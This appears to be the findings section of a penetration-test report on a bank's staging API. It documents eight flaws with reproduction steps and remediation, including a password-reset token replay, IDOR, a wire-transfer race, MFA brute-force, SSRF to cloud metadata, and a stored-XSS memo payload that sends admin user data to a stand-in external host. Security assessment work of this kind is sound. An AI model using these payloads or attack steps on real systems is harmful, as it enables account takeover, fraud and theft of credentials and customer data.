Pacific Trust Bank, N.A.

Account-takeover via password-reset token reuse

Description

The password-reset flow generates a single 128-bit token tied to the user's account, sent via email. After consumption, the token is marked as "used" in the application cache but is not invalidated in the durable datastore until a background job runs (every 5 minutes). During this window the same token can be replayed to set a new password again, including from a different IP address.

Impact

An attacker who obtains a victim's reset link (via mailbox compromise, mail-server logs, or shoulder-surfing) can change the victim's password, log in, and then re-replay the same token to lock the legitimate user out for the duration of the 5-minute window. Combined with the Critical finding PTB-001-A in scope, the attacker also bypasses the MFA enrol prompt because the consumption flow treats a fresh password as proof of identity.

Reproduction

1. Request a password reset for victim@example.com.
2. Capture the link from the victim's inbox: POST /api/v1/auth/password-reset/consume with token T1 + new password P1.
3. Observe 200 OK; the victim is now locked out.
4. Within 5 minutes, replay the exact same request with new password P2.
5. Observe 200 OK again — the token has not been invalidated in the durable datastore.

Evidence

POST /api/v1/auth/password-reset/consume HTTP/2
Host: api.pacifictrust-staging.example
Content-Type: application/json

{"token":"f7e84e2c9b3d4a6f...","newPassword":"P@ssw0rd-1!"}

HTTP/2 200 OK
{"ok":true,"sessionId":"7b3..."}

# Replay 90 seconds later with a different password:
{"token":"f7e84e2c9b3d4a6f...","newPassword":"P@ssw0rd-2!"}
HTTP/2 200 OK
{"ok":true,"sessionId":"9c1..."}

Recommendation

Mark the token as consumed in the durable datastore as the first action of the consume handler, inside the same transaction as the password update. Replace the 5-minute job with a synchronous invalidate. Ensure the token row carries (consumed_at, consumed_ip, consumed_user_agent) for audit. Reject any subsequent request with the same token at the handler entry.

References

• OWASP ASVS V2.2.2
• FFIEC Authentication in an Internet Banking Environment

Cross-tenant transaction-history exposure via IDOR

Description

The transaction-history endpoint accepts an accountId path parameter and resolves transactions against it, but the authorization check verifies only that the requesting session has SOME account at the bank — not that the requesting session owns the specific accountId. Account IDs are sequential 12-digit integers, making enumeration feasible.

Impact

Any authenticated retail customer can read the transaction history (payee, amount, memo, timestamp) of any other Pacific Trust customer by incrementing or guessing the accountId. We confirmed read access against six accounts belonging to other tester personas during fieldwork. No transaction modification is possible via this endpoint; write paths use a different authorization helper which behaves correctly.

Reproduction

1. Authenticate as retail-customer-1 (account 200000000123).
2. Request GET /api/v1/accounts/200000000124/transactions with the customer-1 session cookie.
3. Observe HTTP 200 with the second customer's last 90 days of transactions.
4. Sweep ±1000 around the legitimate account; ~84 % of requests return data (the rest return 404 for closed/dormant accounts).

Recommendation

Move the authorization check into the same SQL query that fetches transactions: `WHERE account_id = $1 AND owner_user_id = $session_user_id`. Add a Postgres row-level-security policy on the transactions table as a defense-in-depth. Replace sequential account IDs with opaque UUIDs at the API boundary in a follow-up release; the internal numeric ID can remain.

References

• OWASP WSTG-ATHZ-04 — Testing for Insecure Direct Object References
• OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization

Time-of-check / time-of-use race in domestic wire transfers

Description

The wire-transfer endpoint reads the source account's available balance, validates the requested amount against it, and then submits the wire to the core-banking adapter — without locking the row. Submitting two concurrent requests, each for an amount equal to the full balance, both pass the validation check before either commits.

Impact

A retail customer with a $10 000 balance can submit two simultaneous $10 000 wires. Both pass validation. The first commits and debits the account to $0; the second commits and debits to −$10 000. The core-banking adapter accepts negative balances on the staging environment; on production it queues the second wire and credits-back later, but the second beneficiary still receives the funds. Net loss to the bank: equal to the doubled balance, minus any successful claw-back.

Reproduction

1. Authenticate as retail-customer-3 ($10 000 starting balance).
2. Open two HTTP clients; issue POST /api/v1/transfers/wire with amount=10000 simultaneously (within 10 ms of each other).
3. Observe both requests return HTTP 202 with distinct wire IDs.
4. Query the balance — the account is now −$10 000 in the staging core-banking adapter.

Recommendation

Wrap the read + validate + submit sequence in a database transaction with `SELECT ... FOR UPDATE` against the account row. If the core-banking adapter is genuinely asynchronous, hold a per-account distributed lock (Redis SETNX with a short TTL) for the validate-submit pair. Add monitoring that fires on negative-balance writes to the staging environment so this regression is caught earlier next time.

References

• OWASP WSTG-BUSL-04 — Testing for Lack of Transaction Limits
• CWE-367 — Time-of-check / Time-of-use Race Condition

Missing rate-limit on TOTP MFA verification allows brute-force

Description

After a successful password challenge, the second-factor verification accepts unlimited 6-digit TOTP attempts within a 30-second window. The endpoint is protected by an IP-based rate limit (100 req/min) but applies it per IP, not per (user, IP) pair. Distributing attempts across rotating IPs via a residential-proxy network bypasses it; even from a single IP, 100 attempts per minute gives a 0.1 % chance of guessing the code in 30 seconds — and the window is sliding, so an attacker has multiple bites at it.

Impact

With access to the password (e.g. via credential stuffing), an attacker can probabilistically brute-force the MFA code with roughly one hour of effort per account. Combined with PTB-001 (which would supply the password), this becomes a complete account-takeover chain.

Reproduction

1. Authenticate to step 1 (password) as victim@example.com — receive a partial-session token.
2. Loop POST /api/v1/auth/mfa/verify with codes 000000..999999 from the same source IP.
3. After 100 attempts the rate limiter throws 429 but resets after 60 seconds — resume.
4. On average within 5000–10 000 attempts, one TOTP code lands within its 30-second window.

Recommendation

Cap MFA-verify attempts per (user_id, partial-session) pair to 5, then invalidate the partial session and force a full re-authentication. Log every fourth failure as a high-severity security event for the SOC.

References

• NIST SP 800-63B §5.2.2 — Rate Limiting

SSRF via image-proxy URL signature collision

Description

The image proxy validates the HMAC signature on URLs before fetching, but the signing function normalises the URL (lower-casing the scheme and host, stripping trailing slashes) AFTER the HMAC is computed. As a result, two distinct URLs can produce the same valid signature, including pairings where one is the original allow-listed image host and the other is an internal endpoint.

Impact

An attacker can craft a signed URL that the validator accepts but the fetcher resolves to an internal endpoint (e.g. http://169.254.169.254/latest/meta-data/iam/info on AWS, internal admin metrics on port 9090). Successful exfiltration of EC2 IAM credentials or internal metrics responses confirmed in staging.

Reproduction

1. Generate a signed URL for a legitimate image hosted at https://cdn.pacifictrust.example/img.jpg.
2. Re-encode the URL as http://CDN.PACIFICTRUST.EXAMPLE/img.jpg/../../@169.254.169.254/latest/meta-data/ — same HMAC.
3. Request /img/{re-encoded-base64}; the validator passes the signature check; the fetcher resolves to the metadata endpoint.
4. Body of the metadata response is returned as image content (HTTP 200, content-type sniffed).

Recommendation

Normalise the URL BEFORE signing, sign the normalised form, and validate by re-normalising on receive. Add an allow-list of hostnames the fetcher will resolve, enforced at the DNS-resolver layer (not the URL parser). Block RFC 1918 + link-local + AWS / GCP / Azure metadata endpoints at egress.

References

• CWE-918 — Server-Side Request Forgery
• OWASP WSTG-INPV-19

Stored XSS in transaction memo field (admin console only)

Description

The retail-customer-facing UI HTML-escapes the transaction memo correctly, but the back-office admin console renders it via `dangerouslySetInnerHTML` after a single-pass markdown conversion. A memo containing `<img src=x onerror=fetch('/admin/api/users').then(r=>r.json()).then(d=>fetch('https://x.example/?d='+btoa(JSON.stringify(d))))>` executes when a support agent views the customer's account.

Impact

A motivated retail customer can submit a memo on a self-transfer that, when reviewed by a support agent, exfiltrates the agent's session-bound view of recent users. Sensitive PII visible only to support staff (full SSN, KYC documents) is at risk.

Reproduction

1. As a retail customer, submit a $0.01 transfer with the XSS payload above in the memo field.
2. Trigger a support escalation so an agent reviews the transaction.
3. Observe the agent's browser exfiltrating /admin/api/users response.

Recommendation

Render the memo as plain text in the admin console as well; if markdown formatting is genuinely needed, use a sanitiser like DOMPurify on the rendered output. Apply a strict CSP (`script-src 'self'`) on the admin host as a defense-in-depth.

References

• OWASP WSTG-INPV-02 — Testing for Stored Cross-Site Scripting
• OWASP Cheat Sheet: Cross Site Scripting Prevention

Login response leaks account-existence via subtle timing

Description

Existent and non-existent accounts both return a generic 401 with the same body text, but the response time for existent accounts averages 187 ms (with bcrypt verification) versus 28 ms for non-existent ones (early return). Statistical analysis of 200 paired probes confirms the difference is reliably detectable above network jitter.

Impact

An attacker can enumerate the customer base by login probe. Useful as a preface to spear-phishing or credential-stuffing campaigns. Not directly exploitable without a follow-on attack.

Reproduction

1. Issue 200 paired POST /api/v1/auth/login requests, alternating known-existent and known-non-existent emails.
2. Measure server-side response time (Server-Timing header is not exposed; rely on wall-clock).
3. Two-sample t-test yields p < 0.001 in favour of an existence signal.

Recommendation

On non-existent accounts, perform a bcrypt hash of the submitted password against a dummy hash so the timing matches. Alternatively introduce a deterministic delay floor (e.g. all login responses sleep until 200 ms total elapsed).

References

• OWASP WSTG-ATHN-03 — Testing for Weak Lock-Out Mechanism

X-Powered-By and Server headers leak framework versions

Description

The API returns `Server: gunicorn/20.1.0` and `X-Powered-By: Express`. Internal admin endpoints additionally return `X-AspNet-Version`. These headers serve no functional purpose and aid an attacker in selecting CVEs to test against.

Impact

Reconnaissance value only; no direct exploitation. Combined with poor patch hygiene it could accelerate exploit selection.

Reproduction

1. curl -sI https://api.pacifictrust-staging.example/ | grep -i -E "server|x-powered|x-aspnet"

Recommendation

Strip `Server`, `X-Powered-By`, and `X-AspNet-Version` at the edge (CDN / reverse proxy) for every response. Verify with `curl -sI` after the change.

References

• OWASP WSTG-CONF-07 — Test HTTP Headers Configuration